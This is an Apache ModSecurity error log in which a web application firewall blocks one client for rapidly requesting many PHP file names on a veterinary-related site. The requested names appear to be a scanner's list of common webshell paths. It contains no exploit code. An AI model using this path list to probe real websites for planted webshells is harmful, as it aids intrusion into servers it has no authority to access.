[Thu Dec 11 20:41:59.569305 2025] [:error] [pid 48261:tid 48283] [client 52.230.86.213:34435] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aTq8F-yPI4WU-4JmiQPAZwAAAZM"]
[Thu Dec 11 20:41:59.880986 2025] [:error] [pid 48261:tid 48281] [client 52.230.86.213:18935] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aTq8F-yPI4WU-4JmiQPAaQAAAZE"]
[Thu Dec 11 20:42:00.091139 2025] [:error] [pid 35112:tid 35121] [client 52.230.86.213:18926] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aTq8GJ9ZpQ0WIeJhsJdq4AAAAUc"]
[Thu Dec 11 20:42:00.384630 2025] [:error] [pid 27459:tid 27471] [client 52.230.86.213:46176] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aTq8GFhPEXihPBKMpRNd-AAAAQo"]
[Thu Dec 11 20:42:00.585429 2025] [:error] [pid 58099:tid 58109] [client 52.230.86.213:55719] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aTq8GMKZVSF_bdPFqRgX5AAAAMg"]
[Thu Dec 11 20:42:00.815721 2025] [:error] [pid 57992:tid 58053] [client 52.230.86.213:18921] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aTq8GOUeau0BMFF2vHmySgAAAIQ"]
[Thu Dec 11 20:42:01.034411 2025] [:error] [pid 24483:tid 24487] [client 52.230.86.213:49247] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aTq8GVGHKh2d_uVkopRfNQAAAgI"]
[Thu Dec 11 20:42:01.239607 2025] [:error] [pid 58814:tid 58817] [client 52.230.86.213:49243] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aTq8Gdiz0l9AD_3pkMwzgwAAAcE"]
[Thu Dec 11 20:42:01.487124 2025] [:error] [pid 58814:tid 58823] [client 52.230.86.213:18937] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aTq8Gdiz0l9AD_3pkMwzhQAAAcc"]
[Thu Dec 11 20:42:01.731015 2025] [:error] [pid 57992:tid 58060] [client 52.230.86.213:18467] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aTq8GeUeau0BMFF2vHmyTAAAAIs"]
[Thu Dec 11 20:42:02.099038 2025] [:error] [pid 27459:tid 27468] [client 52.230.86.213:34459] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aTq8GlhPEXihPBKMpRNd_AAAAQc"]
[Thu Dec 11 20:42:02.276612 2025] [:error] [pid 27459:tid 27475] [client 52.230.86.213:55741] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aTq8GlhPEXihPBKMpRNd_QAAAQ4"]
[Thu Dec 11 20:42:02.456583 2025] [:error] [pid 48261:tid 48266] [client 52.230.86.213:18939] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aTq8GuyPI4WU-4JmiQPAbQAAAYI"]
[Thu Dec 11 20:42:02.745850 2025] [:error] [pid 48261:tid 48287] [client 52.230.86.213:34475] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aTq8GuyPI4WU-4JmiQPAbgAAAZc"]
[Thu Dec 11 20:42:02.934469 2025] [:error] [pid 24527:tid 24572] [client 52.230.86.213:55715] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aTq8Gl9_glvtS5vXiTUHRwAAApA"]
[Thu Dec 11 20:42:03.138381 2025] [:error] [pid 27459:tid 27480] [client 52.230.86.213:49216] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aTq8G1hPEXihPBKMpRNeAAAAARM"]
[Thu Dec 11 20:42:03.348175 2025] [:error] [pid 35112:tid 35120] [client 52.230.86.213:18443] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aTq8G59ZpQ0WIeJhsJdq5QAAAUY"]
[Thu Dec 11 20:42:03.536677 2025] [:error] [pid 35112:tid 35114] [client 52.230.86.213:18885] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aTq8G59ZpQ0WIeJhsJdq5gAAAUA"]
[Thu Dec 11 20:42:03.730560 2025] [:error] [pid 48261:tid 48279] [client 52.230.86.213:55738] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aTq8G-yPI4WU-4JmiQPAcQAAAY8"]
[Thu Dec 11 20:42:03.928638 2025] [:error] [pid 48261:tid 48265] [client 52.230.86.213:34479] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aTq8G-yPI4WU-4JmiQPAcgAAAYE"]
[Thu Dec 11 20:42:04.200648 2025] [:error] [pid 48261:tid 48274] [client 52.230.86.213:18442] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aTq8HOyPI4WU-4JmiQPAcwAAAYo"]
[Thu Dec 11 20:42:04.403423 2025] [:error] [pid 27459:tid 27465] [client 52.230.86.213:55703] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aTq8HFhPEXihPBKMpRNeAgAAAQQ"]
[Thu Dec 11 20:42:04.590915 2025] [:error] [pid 58814:tid 58828] [client 52.230.86.213:34455] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aTq8HNiz0l9AD_3pkMwziAAAAcw"]
[Thu Dec 11 20:42:04.881313 2025] [:error] [pid 24483:tid 24490] [client 52.230.86.213:49236] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTq8HFGHKh2d_uVkopRfOAAAAgU"]
[Thu Dec 11 20:42:05.102978 2025] [:error] [pid 57990:tid 58007] [client 52.230.86.213:49855] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTq8HQqZT_dc36fQdXGDxwAAAAw"]
[Thu Dec 11 20:42:05.381434 2025] [:error] [pid 35112:tid 35128] [client 52.230.86.213:55693] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTq8HZ9ZpQ0WIeJhsJdq6AAAAU4"]
[Thu Dec 11 20:42:05.586782 2025] [:error] [pid 24527:tid 24571] [client 52.230.86.213:18943] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aTq8HV9_glvtS5vXiTUHSgAAAo8"]
[Thu Dec 11 20:42:05.827561 2025] [:error] [pid 58814:tid 58826] [client 52.230.86.213:60307] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aTq8Hdiz0l9AD_3pkMwziwAAAco"]
[Thu Dec 11 20:42:06.105870 2025] [:error] [pid 35112:tid 35118] [client 52.230.86.213:60310] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aTq8Hp9ZpQ0WIeJhsJdq6QAAAUQ"]
[Thu Dec 11 20:42:06.379711 2025] [:error] [pid 57991:tid 58045] [client 52.230.86.213:49229] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aTq8HqPyGmNXA2ZsETa2xAAAAFc"]
[Thu Dec 11 20:42:06.586257 2025] [:error] [pid 35112:tid 35132] [client 52.230.86.213:55692] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aTq8Hp9ZpQ0WIeJhsJdq7AAAAVI"]
[Thu Dec 11 20:42:06.841319 2025] [:error] [pid 58099:tid 58110] [client 52.230.86.213:18912] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTq8HsKZVSF_bdPFqRgX6gAAAMk"]
[Thu Dec 11 20:42:07.044283 2025] [:error] [pid 24527:tid 24558] [client 52.230.86.213:55680] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTq8H19_glvtS5vXiTUHTAAAAoI"]
[Thu Dec 11 20:42:07.299202 2025] [:error] [pid 24483:tid 24497] [client 52.230.86.213:49225] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTq8H1GHKh2d_uVkopRfPgAAAgw"]
[Thu Dec 11 20:42:07.501288 2025] [:error] [pid 58099:tid 58120] [client 52.230.86.213:60299] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTq8H8KZVSF_bdPFqRgX7AAAANM"]
[Thu Dec 11 20:42:07.693695 2025] [:error] [pid 58099:tid 58107] [client 52.230.86.213:18889] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aTq8H8KZVSF_bdPFqRgX7QAAAMY"]
[Thu Dec 11 20:42:08.081861 2025] [:error] [pid 58814:tid 58817] [client 52.230.86.213:18450] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aTq8INiz0l9AD_3pkMwzjgAAAcE"]
[Thu Dec 11 20:42:08.370954 2025] [:error] [pid 24527:tid 24578] [client 52.230.86.213:18890] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aTq8IF9_glvtS5vXiTUHTQAAApY"]
[Thu Dec 11 20:42:08.570025 2025] [:error] [pid 57991:tid 58042] [client 52.230.86.213:49231] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aTq8IKPyGmNXA2ZsETa2xgAAAFQ"]
[Thu Dec 11 20:42:08.857217 2025] [:error] [pid 27459:tid 27463] [client 52.230.86.213:18460] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTq8IFhPEXihPBKMpRNeBwAAAQI"]
[Thu Dec 11 20:42:09.050600 2025] [:error] [pid 27459:tid 27468] [client 52.230.86.213:49218] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTq8IVhPEXihPBKMpRNeCQAAAQc"]
[Thu Dec 11 20:42:09.296031 2025] [:error] [pid 58814:tid 58819] [client 52.230.86.213:60309] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTq8Idiz0l9AD_3pkMwzkQAAAcM"]
[Thu Dec 11 20:42:09.471758 2025] [:error] [pid 27459:tid 27475] [client 52.230.86.213:60340] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTq8IVhPEXihPBKMpRNeCgAAAQ4"]
[Thu Dec 11 20:42:09.647148 2025] [:error] [pid 58814:tid 58823] [client 52.230.86.213:55688] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aTq8Idiz0l9AD_3pkMwzkgAAAcc"]
[Thu Dec 11 20:42:09.971942 2025] [:error] [pid 24527:tid 24576] [client 52.230.86.213:62348] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aTq8IV9_glvtS5vXiTUHTgAAApQ"]
[Thu Dec 11 20:42:10.154619 2025] [:error] [pid 24483:tid 24487] [client 52.230.86.213:18982] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aTq8IlGHKh2d_uVkopRfQwAAAgI"]
[Thu Dec 11 20:42:10.353871 2025] [:error] [pid 27459:tid 27464] [client 52.230.86.213:50375] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aTq8IlhPEXihPBKMpRNeDQAAAQM"]
[Thu Dec 11 20:42:10.533697 2025] [:error] [pid 58099:tid 58104] [client 52.230.86.213:55714] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTq8IsKZVSF_bdPFqRgX7wAAAMM"]
[Thu Dec 11 20:42:10.718743 2025] [:error] [pid 57991:tid 58029] [client 52.230.86.213:55694] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTq8IqPyGmNXA2ZsETa2yAAAAEc"]
[Thu Dec 11 20:42:10.916870 2025] [:error] [pid 35112:tid 35129] [client 52.230.86.213:57764] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTq8Ip9ZpQ0WIeJhsJdq9wAAAU8"]
[Thu Dec 11 20:42:11.096422 2025] [:error] [pid 24527:tid 24567] [client 52.230.86.213:18925] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTq8I19_glvtS5vXiTUHUAAAAos"]
[Thu Dec 11 20:42:11.278375 2025] [:error] [pid 35112:tid 35120] [client 52.230.86.213:55731] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8I59ZpQ0WIeJhsJdq-AAAAUY"]
[Thu Dec 11 20:42:11.486868 2025] [:error] [pid 58814:tid 58828] [client 52.230.86.213:34456] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8I9iz0l9AD_3pkMwzlAAAAcw"]
[Thu Dec 11 20:42:11.663140 2025] [:error] [pid 48261:tid 48286] [client 52.230.86.213:51042] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8I-yPI4WU-4JmiQPAdgAAAZY"]
[Thu Dec 11 20:42:11.854791 2025] [:error] [pid 24483:tid 24503] [client 52.230.86.213:62390] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8I1GHKh2d_uVkopRfRAAAAhI"]
[Thu Dec 11 20:42:12.092135 2025] [:error] [pid 57991:tid 58022] [client 52.230.86.213:51056] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aTq8JKPyGmNXA2ZsETa2yQAAAEA"]
